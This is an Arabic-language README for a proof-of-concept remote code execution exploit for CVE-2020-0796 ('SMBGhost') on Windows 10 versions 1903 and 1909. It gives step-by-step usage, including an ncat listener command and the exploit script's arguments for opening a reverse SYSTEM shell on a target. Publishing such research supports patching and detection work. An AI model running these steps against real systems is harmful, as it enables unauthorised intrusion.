jamf/cve-2020-0796-rce-pocCVE-2020-0796 POC لتنفيذ التعليمات عن بُعد
(c) 2020 ZecOps, Inc. - https://www.zecops.com - العثور على أخطاء المهاجمين
POC لتنفيذ التعليمات البرمجية عن بُعد لـ CVE-2020-0796 / "SMBGhost"
النتيجة المتوقعة: شل عكسي مع وصول إلى النظام.
مخصص فقط للأغراض التعليمية والاختبار في بيئات الشركات.
ZecOps لا تتحمل أي مسؤولية عن الكود، استخدمه على مسؤوليتك الخاصة.
يرجى الاتصال بـ [email protected] إذا كنت مهتمًا بأدوات DFIR بدون وكيل للخوادم ونقاط النهاية والأجهزة المحمولة للكشف تلقائيًا عن SMBGhost وأنواع أخرى من الهجمات.
تأكد من تثبيت Python و ncat.
قم بتشغيل calc_target_offsets.bat على الكمبيوتر الهدف، واضبط الإزاحات (offsets) في أعلى ملف SMBleedingGhost.py وفقًا لمخرجات البرنامج النصي (انظر أيضًا الملاحظة أدناه).
قم بتشغيل ncat باستخدام وسائط سطر الأوامر التالية:
ncat -lvp <port>
حيث <port> هو رقم المنفذ الذي سيستمع عليه ncat.
قم بتشغيل SMBleedingGhost.py باستخدام وسائط سطر الأوامر التالية:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
حيث <target_ip> هو عنوان IP للكمبيوتر الهدف الضعيف. <reverse_shell_ip> و <reverse_shell_port> هما عنوان IP ورقم المنفذ الذي يستمع عليه ncat.
إذا سارت الأمور على ما يرام، فسيعرض ncat شلًا يوفر وصولًا إلى النظام على الكمبيوتر الهدف.
ملاحظة: قد تتساءل لماذا من الضروري تشغيل البرنامج النصي calc_target_offsets.bat على الكمبيوتر الهدف، ألا يهزم ذلك الغرض الأساسي من كون تنفيذ التعليمات البرمجية عن بُعد هو 'عن بُعد'؟ هذه الإزاحات ليست عشوائية، وهي نفسها في جميع حالات Windows بنفس الإصدار. يمكن للمرء جعل الهجوم أكثر عمومية عن طريق اكتشاف إصدار Windows الهدف وضبط الإزاحات تلقائيًا، أو بعدم الاعتماد عليها تمامًا، لكنه مجرد POC وقد فعلنا ما هو أبسط. ونرى أيضًا أنه من الجيد أن POC ليس عالميًا، وغير مناسب للاستخدامات الأخرى غير الاختبار والتعليم.
الإصدارات 1903 و 1909 من Windows 10 متأثرة. الإصدارات غير المحدثة من Windows 10 1903 غير مدعومة بسبب خطأ إلغاء مرجع فارغ (null dereference) في Windows (تم إصلاحه في KB4512941).
بسبب طبيعة الاستغلال، يعمل POC بشكل أفضل للأهداف التي تعمل على كمبيوتر (أو VM) بمعالج منطقي واحد. الأهداف التي تحتوي على أكثر من معالج منطقي تعمل في VirtualBox يجب أن تكون مدعومة أيضًا، لكن POC يكون أقل موثوقية في هذه الحالة. قد لا تكون الأهداف الأخرى مدعومة. للتفاصيل، راجع مقالنا الفني أدناه.
